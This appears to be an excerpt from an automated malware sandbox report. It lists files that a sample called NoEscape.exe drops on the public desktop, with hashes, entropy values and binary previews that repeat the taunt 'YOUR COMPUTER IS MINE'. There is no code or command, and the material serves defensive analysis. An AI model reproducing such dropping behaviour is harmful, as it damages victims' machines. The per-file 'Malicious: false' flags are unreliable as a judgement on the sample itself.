Preview:	Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.W.].U.T.&.#.&.S...h.W.>...c...P.....c.c...n...j.c.o.4.`.9.<.U...Y.,.+.N.).E./.C.h.......m.......L.?.....o...n.5.....X./.;...U.#.Z.:.A.f.n.......C...W.h...l.g...........X...5.U.;.U...$...2...)...9.).T./.E.%.Y.$.P.h.R.[...i...m...K.h.......].8.@.b.3.....N. .-.G.Z.E...W.......i.....j...F.j.o...g.c.J...l.'.".].+...*...S.I.&.,...S...Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.

C:\Users\Public\Desktop\??????????????????-?? Download File
Process:	C:\Users\user\Desktop\NoEscape.exe
File Type:	data
Category:	dropped
Size (bytes):	666
Entropy (8bit):	4.542580939291481
Encrypted:	false
SSDEEP:	12:eht0byV0ANfAD3M51mXDGORX3DPgMvxEQ1SnaRCWm9ONp:AXlF51mXKo3NvxEQlmENp
MD5:	E49F0A8EFFA6380B4518A8064F6D240B
SHA1:	BA62FFE370E186B7F980922067AC68613521BD51
SHA-256:	8DBD06E9585C5A16181256C9951DBC65621DF66CEB22C8E3D2304477178BEE13
SHA-512:	DE6281A43A97702DD749A1B24F4C65BED49A2E2963CABEEB2A309031AB601F5EC488F48059C03EC3001363D085E8D2F0F046501EDF19FAFE7508D27E596117D4
Malicious:	false
Preview:	Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.W.].U.T.&.#.&.S...h.W.>...c...P.....c.c...n...j.c.o.4.`.9.<.U...Y.,.+.N.).E./.C.h.......m.......L.?.....o...n.5.....X./.;...U.#.Z.:.A.f.n.......C...W.h...l.g...........X...5.U.;.U...$...2...)...9.).T./.E.%.Y.$.P.h.R.[...i...m...K.h.......].8.@.b.3.....N. .-.G.Z.E...W.......i.....j...F.j.o...g.c.J...l.'.".].+...*...S.I.&.,...S...

C:\Users\Public\Desktop\??????????????????3????????? Download File
Process:	C:\Users\user\Desktop\NoEscape.exe
File Type:	data
Category:	dropped
Size (bytes):	666
Entropy (8bit):	4.542580939291481
Encrypted:	false
SSDEEP:	12:eht0byV0ANfAD3M51mXDGORX3DPgMvxEQ1SnaRCWm9ONp:AXlF51mXKo3NvxEQlmENp
MD5:	E49F0A8EFFA6380B4518A8064F6D240B
SHA1:	BA62FFE370E186B7F980922067AC68613521BD51
SHA-256:	8DBD06E9585C5A16181256C9951DBC65621DF66CEB22C8E3D2304477178BEE13
SHA-512:	DE6281A43A97702DD749A1B24F4C65BED49A2E2963CABEEB2A309031AB601F5EC488F48059C03EC3001363D085E8D2F0F046501EDF19FAFE7508D27E596117D4
Malicious:	false
Preview:	Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.W.].U.T.&.#.&.S...h.W.>...c...P.....c.c...n...j.c.o.4.`.9.<.U...Y.,.+.N.).E./.C.h.......m.......L.?.....o...n.5.....X./.;...U.#.Z.:.A.f.n.......C...W.h...l.g...........X...5.U.;.U...$...2...)...9.).T./.E.%.Y.$.P.h.R.[...i...m...K.h.......].8.@.b.3.....N. .-.G.Z.E...W.......i.....j...F.j.o...g.c.J...l.'.".].+...*...S.I.&.,...S...

C:\Users\Public\Desktop\??????????????????? Download File
Process:	C:\Users\user\Desktop\NoEscape.exe
File Type:	data
Category:	dropped
Size (bytes):	6660
Entropy (8bit):	4.542580939291481
Encrypted:	false
SSDEEP:	96:a5Qn65Qn65Qn65Qn65Qn65Qn65Qn65Qn65Qn65QnH:vPPPPPPPPPH
MD5:	AE03BD2BE8839EB658FD4780FD3C22E3
SHA1:	58E3E18238096955A84F3EE0752983FF7B14D642
SHA-256:	499234F6357D9D89220C1BCF7BD205C7423D1D400E8C83EF3BC65DAE8523171C
SHA-512:	E116C9CF2FD61BB31B57E5D3A13B488B0BB824CD7926076B7449CA773A7A1F3B6BDBBECE45F106CCC8A9E5F491525F431323F97B09BF1B42090075469ABF9846
Malicious:	false
Preview:	Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.W.].U.T.&.#.&.S...h.W.>...c...P.....c.c...n...j.c.o.4.`.9.<.U...Y.,.+.N.).E./.C.h.......m.......L.?.....o...n.5.....X./.;...U.#.Z.:.A.f.n.......C...W.h...l.g...........X...5.U.;.U...$...2...)...9.).T./.E.%.Y.$.P.h.R.[...i...m...K.h.......].8.@.b.3.....N. .-.G.Z.E...W.......i.....j...F.j.o...g.c.J...l.'.".].+...*...S.I.&.,...S...Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.

C:\Users\Public\Desktop\??????????????????? ????? Download File
Process:	C:\Users\user\Desktop\NoEscape.exe
File Type:	data
Category:	dropped
Size (bytes):	666
Entropy (8bit):	4.542580939291481
Encrypted:	false
SSDEEP:	12:eht0byV0ANfAD3M51mXDGORX3DPgMvxEQ1SnaRCWm9ONp:AXlF51mXKo3NvxEQlmENp
MD5:	E49F0A8EFFA6380B4518A8064F6D240B
SHA1:	BA62FFE370E186B7F980922067AC68613521BD51
SHA-256:	8DBD06E9585C5A16181256C9951DBC65621DF66CEB22C8E3D2304477178BEE13
SHA-512:	DE6281A43A97702DD749A1B24F4C65BED49A2E2963CABEEB2A309031AB601F5EC488F48059C03EC3001363D085E8D2F0F046501EDF19FAFE7508D27E596117D4
Malicious:	false
Preview:	Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.W.].U.T.&.#.&.S...h.W.>...c...P.....c.c...n...j.c.o.4.`.9.<.U...Y.,.+.N.).E./.C.h.......m.......L.?.....o...n.5.....X./.;...U.#.Z.:.A.f.n.......C...W.h...l.g...........X...5.U.;.U...$...2...)...9.).T./.E.%.Y.$.P.h.R.[...i...m...K.h.......].8.@.b.3.....N. .-.G.Z.E...W.......i.....j...F.j.o...g.c.J...l.'.".].+...*...S.I.&.,...S...

C:\Users\Public\Desktop\??????????????????? ?????????? Download File
Process:	C:\Users\user\Desktop\NoEscape.exe
File Type:	data
Category:	dropped
Size (bytes):	666
Entropy (8bit):	4.542580939291481
Encrypted:	false
SSDEEP:	12:eht0byV0ANfAD3M51mXDGORX3DPgMvxEQ1SnaRCWm9ONp:AXlF51mXKo3NvxEQlmENp
MD5:	E49F0A8EFFA6380B4518A8064F6D240B
SHA1:	BA62FFE370E186B7F980922067AC68613521BD51
SHA-256:	8DBD06E9585C5A16181256C9951DBC65621DF66CEB22C8E3D2304477178BEE13
SHA-512:	DE6281A43A97702DD749A1B24F4C65BED49A2E2963CABEEB2A309031AB601F5EC488F48059C03EC3001363D085E8D2F0F046501EDF19FAFE7508D27E596117D4
Malicious:	false
Preview:	Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.W.].U.T.&.#.&.S...h.W.>...c...P.....c.c...n...j.c.o.4.`.9.<.U...Y.,.+.N.).E./.C.h.......m.......L.?.....o...n.5.....X./.;...U.#.Z.:.A.f.n.......C...W.h...l.g...........X...5.U.;.U...$...2...)...9.).T./.E.%.Y.$.P.h.R.[...i...m...K.h.......].8.@.b.3.....N. .-.G.Z.E...W.......i.....j...F.j.o...g.c.J...l.'.".].+...*...S.I.&.,...S...

C:\Users\Public\Desktop\???????????????????4?? Download File
Process:	C:\Users\user\Desktop\NoEscape.exe
File Type:	data
Category:	dropped
Size (bytes):	666
Entropy (8bit):	4.542580939291481
Encrypted:	false
SSDEEP:	12:eht0byV0ANfAD3M51mXDGORX3DPgMvxEQ1SnaRCWm9ONp:AXlF51mXKo3NvxEQlmENp
MD5:	E49F0A8EFFA6380B4518A8064F6D240B
SHA1:	BA62FFE370E186B7F980922067AC68613521BD51
SHA-256:	8DBD06E9585C5A16181256C9951DBC65621DF66CEB22C8E3D2304477178BEE13
SHA-512:	DE6281A43A97702DD749A1B24F4C65BED49A2E2963CABEEB2A309031AB601F5EC488F48059C03EC3001363D085E8D2F0F046501EDF19FAFE7508D27E596117D4
Malicious:	false
Preview:	Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.W.].U.T.&.#.&.S...h.W.>...c...P.....c.c...n...j.c.o.4.`.9.<.U...Y.,.+.N.).E./.C.h.......m.......L.?.....o...n.5.....X./.;...U.#.Z.:.A.f.n.......C...W.h...l.g...........X...5.U.;.U...$...2...)...9.).T./.E.%.Y.$.P.h.R.[...i...m...K.h.......].8.@.b.3.....N. .-.G.Z.E...W.......i.....j...F.j.o...g.c.J...l.'.".].+...*...S.I.&.,...S...

C:\Users\Public\Desktop\???????????????????7? Download File
Process:	C:\Users\user\Desktop\NoEscape.exe
File Type:	data
Category:	dropped
Size (bytes):	666
Entropy (8bit):	4.542580939291481
Encrypted:	false
SSDEEP:	12:eht0byV0ANfAD3M51mXDGORX3DPgMvxEQ1SnaRCWm9ONp:AXlF51mXKo3NvxEQlmENp
MD5:	E49F0A8EFFA6380B4518A8064F6D240B
SHA1:	BA62FFE370E186B7F980922067AC68613521BD51
SHA-256:	8DBD06E9585C5A16181256C9951DBC65621DF66CEB22C8E3D2304477178BEE13
SHA-512:	DE6281A43A97702DD749A1B24F4C65BED49A2E2963CABEEB2A309031AB601F5EC488F48059C03EC3001363D085E8D2F0F046501EDF19FAFE7508D27E596117D4
Malicious:	false
Preview:	Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.W.].U.T.&.#.&.S...h.W.>...c...P.....c.c...n...j.c.o.4.`.9.<.U...Y.,.+.N.).E./.C.h.......m.......L.?.....o...n.5.....X./.;...U.#.Z.:.A.f.n.......C...W.h...l.g...........X...5.U.;.U...$...2...)...9.).T./.E.%.Y.$.P.h.R.[...i...m...K.h.......].8.@.b.3.....N. .-.G.Z.E...W.......i.....j...F.j.o...g.c.J...l.'.".].+...*...S.I.&.,...S...

C:\Users\Public\Desktop\???????????????????? Download File
Process:	C:\Users\user\Desktop\NoEscape.exe
File Type:	data
Category:	dropped
Size (bytes):	4662
Entropy (8bit):	4.542580939291481
Encrypted:	false
SSDEEP:	48:AXlb1m6o3RDngXlb1m6o3RDngXlb1m6o3RDngXlb1m6o3RDngXlb1m6o3RDngXlQ:a5Qn65Qn65Qn65Qn65Qn65Qn65QnH
MD5:	EE1E51BB5C2621FB7ABBA5F58EA5E53C
SHA1:	2FF89E87371925B73D630773F3163F1A2291B6C2
SHA-256:	7637F186967AF7AD0ADA8038D6DAE97EC2BE64B06BEB4F8E50087EFA4902CDC9
SHA-512:	A4D0EF27BFC408A7993F5209C8F64B8C49BAFFD59B80BE6DA4B96AD0CD79A69324B136DB72F57CEF94A6D57408FD4F8BF42C979B6306E83DBF7BD09118AF9449
Malicious:	false
Preview:	Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.W.].U.T.&.#.&.S...h.W.>...c...P.....c.c...n...j.c.o.4.`.9.<.U...Y.,.+.N.).E./.C.h.......m.......L.?.....o...n.5.....X./.;...U.#.Z.:.A.f.n.......C...W.h...l.g...........X...5.U.;.U...$...2...)...9.).T./.E.%.Y.$.P.h.R.[...i...m...K.h.......].8.@.b.3.....N. .-.G.Z.E...W.......i.....j...F.j.o...g.c.J...l.'.".].+...*...S.I.&.,...S...Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.

C:\Users\Public\Desktop\???????????????????? ?? Download File
Process:	C:\Users\user\Desktop\NoEscape.exe
File Type:	data
Category:	dropped
Size (bytes):	666
Entropy (8bit):	4.542580939291481
Encrypted:	false
SSDEEP:	12:eht0byV0ANfAD3M51mXDGORX3DPgMvxEQ1SnaRCWm9ONp:AXlF51mXKo3NvxEQlmENp
MD5:	E49F0A8EFFA6380B4518A8064F6D240B
SHA1:	BA62FFE370E186B7F980922067AC68613521BD51
SHA-256:	8DBD06E9585C5A16181256C9951DBC65621DF66CEB22C8E3D2304477178BEE13
SHA-512:	DE6281A43A97702DD749A1B24F4C65BED49A2E2963CABEEB2A309031AB601F5EC488F48059C03EC3001363D085E8D2F0F046501EDF19FAFE7508D27E596117D4
Malicious:	false
Preview:	Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.W.].U.T.&.#.&.S...h.W.>...c...P.....c.c...n...j.c.o.4.`.9.<.U...Y.,.+.N.).E./.C.h.......m.......L.?.....o...n.5.....X./.;...U.#.Z.:.A.f.n.......C...W.h...l.g...........X...5.U.;.U...$...2...)...9.).T./.E.%.Y.$.P.h.R.[...i...m...K.h.......].8.@.b.3.....N. .-.G.Z.E...W.......i.....j...F.j.o...g.c.J...l.'.".].+...*...S.I.&.,...S...

C:\Users\Public\Desktop\???????????????????? ??????????? Download File
Process:	C:\Users\user\Desktop\NoEscape.exe
File Type:	data
Category:	dropped
Size (bytes):	666
Entropy (8bit):	4.542580939291481
Encrypted:	false
SSDEEP:	12:eht0byV0ANfAD3M51mXDGORX3DPgMvxEQ1SnaRCWm9ONp:AXlF51mXKo3NvxEQlmENp
MD5:	E49F0A8EFFA6380B4518A8064F6D240B
SHA1:	BA62FFE370E186B7F980922067AC68613521BD51
SHA-256:	8DBD06E9585C5A16181256C9951DBC65621DF66CEB22C8E3D2304477178BEE13
SHA-512:	DE6281A43A97702DD749A1B24F4C65BED49A2E2963CABEEB2A309031AB601F5EC488F48059C03EC3001363D085E8D2F0F046501EDF19FAFE7508D27E596117D4
Malicious:	false
Preview:	Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.W.].U.T.&.#.&.S...h.W.>...c...P.....c.c...n...j.c.o.4.`.9.<.U...Y.,.+.N.).E./.C.h.......m.......L.?.....o...n.5.....X./.;...U.#.Z.:.A.f.n.......C...W.h...l.g...........X...5.U.;.U...$...2...)...9.).T./.E.%.Y.$.P.h.R.[...i...m...K.h.......].8.@.b.3.....N. .-.G.Z.E...W.......i.....j...F.j.o...g.c.J...l.'.".].+...*...S.I.&.,...S...

C:\Users\Public\Desktop\????????????????????+?????? Download File
Process:	C:\Users\user\Desktop\NoEscape.exe
File Type:	data
Category:	dropped
Size (bytes):	666
Entropy (8bit):	4.542580939291481
Encrypted:	false
SSDEEP:	12:eht0byV0ANfAD3M51mXDGORX3DPgMvxEQ1SnaRCWm9ONp:AXlF51mXKo3NvxEQlmENp
MD5:	E49F0A8EFFA6380B4518A8064F6D240B
SHA1:	BA62FFE370E186B7F980922067AC68613521BD51
SHA-256:	8DBD06E9585C5A16181256C9951DBC65621DF66CEB22C8E3D2304477178BEE13
SHA-512:	DE6281A43A97702DD749A1B24F4C65BED49A2E2963CABEEB2A309031AB601F5EC488F48059C03EC3001363D085E8D2F0F046501EDF19FAFE7508D27E596117D4
Malicious:	false
Preview:	Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.W.].U.T.&.#.&.S...h.W.>...c...P.....c.c...n...j.c.o.4.`.9.<.U...Y.,.+.N.).E./.C.h.......m.......L.?.....o...n.5.....X./.;...U.#.Z.:.A.f.n.......C...W.h...l.g...........X...5.U.;.U...$...2...)...9.).T./.E.%.Y.$.P.h.R.[...i...m...K.h.......].8.@.b.3.....N. .-.G.Z.E...W.......i.....j...F.j.o...g.c.J...l.'.".].+...*...S.I.&.,...S...

C:\Users\Public\Desktop\????????????????????-?????? Download File
Process:	C:\Users\user\Desktop\NoEscape.exe
File Type:	data
Category:	dropped
Size (bytes):	666
Entropy (8bit):	4.542580939291481
Encrypted:	false
SSDEEP:	12:eht0byV0ANfAD3M51mXDGORX3DPgMvxEQ1SnaRCWm9ONp:AXlF51mXKo3NvxEQlmENp
MD5:	E49F0A8EFFA6380B4518A8064F6D240B
SHA1:	BA62FFE370E186B7F980922067AC68613521BD51
SHA-256:	8DBD06E9585C5A16181256C9951DBC65621DF66CEB22C8E3D2304477178BEE13
SHA-512:	DE6281A43A97702DD749A1B24F4C65BED49A2E2963CABEEB2A309031AB601F5EC488F48059C03EC3001363D085E8D2F0F046501EDF19FAFE7508D27E596117D4
Malicious:	false
Preview:	Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.W.].U.T.&.#.&.S...h.W.>...c...P.....c.c...n...j.c.o.4.`.9.<.U...Y.,.+.N.).E./.C.h.......m.......L.?.....o...n.5.....X./.;...U.#.Z.:.A.f.n.......C...W.h...l.g...........X...5.U.;.U...$...2...)...9.).T./.E.%.Y.$.P.h.R.[...i...m...K.h.......].8.@.b.3.....N. .-.G.Z.E...W.......i.....j...F.j.o...g.c.J...l.'.".].+...*...S.I.&.,...S...

C:\Users\Public\Desktop\????????????????????? Download File
Process:	C:\Users\user\Desktop\NoEscape.exe
File Type:	data
Category:	dropped
Size (bytes):	3996
Entropy (8bit):	4.542580939291481
Encrypted:	false
SSDEEP:	48:AXlb1m6o3RDngXlb1m6o3RDngXlb1m6o3RDngXlb1m6o3RDngXlb1m6o3RDngXlg:a5Qn65Qn65Qn65Qn65Qn65QnH
MD5:	79AC95AC59AFD0E4830D3BDD4EE67449
SHA1:	B35287AE13F3EA5D439C25418CF0B7C000286C10
SHA-256:	272F9640FE4FD4C04CC9001602D8083D9242DF2C8CE295EB29E8122DC50BD171
SHA-512:	DC9229D4641FE10E7EE6B9B86AA33E9311C4E16C263A250B197EF60A8EE440A1D5AB48BAE24359B8067E66FAB0A42031ED2B466D58C92DE7812ACFBB4D646FD9
Malicious:	false
Preview:	Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.W.].U.T.&.#.&.S...h.W.>...c...P.....c.c...n...j.c.o.4.`.9.<.U...Y.,.+.N.).E./.C.h.......m.......L.?.....o...n.5.....X./.;...U.#.Z.:.A.f.n.......C...W.h...l.g...........X...5.U.;.U...$...2...)...9.).T./.E.%.Y.$.P.h.R.[...i...m...K.h.......].8.@.b.3.....N. .-.G.Z.E...W.......i.....j...F.j.o...g.c.J...l.'.".].+...*...S.I.&.,...S...Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.

C:\Users\Public\Desktop\?????????????????????5????????? Download File
Process:	C:\Users\user\Desktop\NoEscape.exe
File Type:	data
Category:	dropped
Size (bytes):	666
Entropy (8bit):	4.542580939291481
Encrypted:	false
SSDEEP:	12:eht0byV0ANfAD3M51mXDGORX3DPgMvxEQ1SnaRCWm9ONp:AXlF51mXKo3NvxEQlmENp
MD5:	E49F0A8EFFA6380B4518A8064F6D240B
SHA1:	BA62FFE370E186B7F980922067AC68613521BD51
SHA-256:	8DBD06E9585C5A16181256C9951DBC65621DF66CEB22C8E3D2304477178BEE13
SHA-512:	DE6281A43A97702DD749A1B24F4C65BED49A2E2963CABEEB2A309031AB601F5EC488F48059C03EC3001363D085E8D2F0F046501EDF19FAFE7508D27E596117D4
Malicious:	false
Preview:	Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.W.].U.T.&.#.&.S...h.W.>...c...P.....c.c...n...j.c.o.4.`.9.<.U...Y.,.+.N.).E./.C.h.......m.......L.?.....o...n.5.....X./.;...U.#.Z.:.A.f.n.......C...W.h...l.g...........X...5.U.;.U...$...2...)...9.).T./.E.%.Y.$.P.h.R.[...i...m...K.h.......].8.@.b.3.....N. .-.G.Z.E...W.......i.....j...F.j.o...g.c.J...l.'.".].+...*...S.I.&.,...S...

C:\Users\Public\Desktop\?????????????????????? Download File
Process:	C:\Users\user\Desktop\NoEscape.exe
File Type:	data
Category:	dropped
Size (bytes):	4662
Entropy (8bit):	4.542580939291481
Encrypted:	false
SSDEEP:	48:AXlb1m6o3RDngXlb1m6o3RDngXlb1m6o3RDngXlb1m6o3RDngXlb1m6o3RDngXlQ:a5Qn65Qn65Qn65Qn65Qn65Qn65QnH
MD5:	EE1E51BB5C2621FB7ABBA5F58EA5E53C
SHA1:	2FF89E87371925B73D630773F3163F1A2291B6C2
SHA-256:	7637F186967AF7AD0ADA8038D6DAE97EC2BE64B06BEB4F8E50087EFA4902CDC9
SHA-512:	A4D0EF27BFC408A7993F5209C8F64B8C49BAFFD59B80BE6DA4B96AD0CD79A69324B136DB72F57CEF94A6D57408FD4F8BF42C979B6306E83DBF7BD09118AF9449
Malicious:	false
Preview:	Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.W.].U.T.&.#.&.S...h.W.>...c...P.....c.c...n...j.c.o.4.`.9.<.U...Y.,.+.N.).E./.C.h.......m.......L.?.....o...n.5.....X./.;...U.#.Z.:.A.f.n.......C...W.h...l.g...........X...5.U.;.U...$...2...)...9.).T./.E.%.Y.$.P.h.R.[...i...m...K.h.......].8.@.b.3.....N. .-.G.Z.E...W.......i.....j...F.j.o...g.c.J...l.'.".].+...*...S.I.&.,...S...Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. 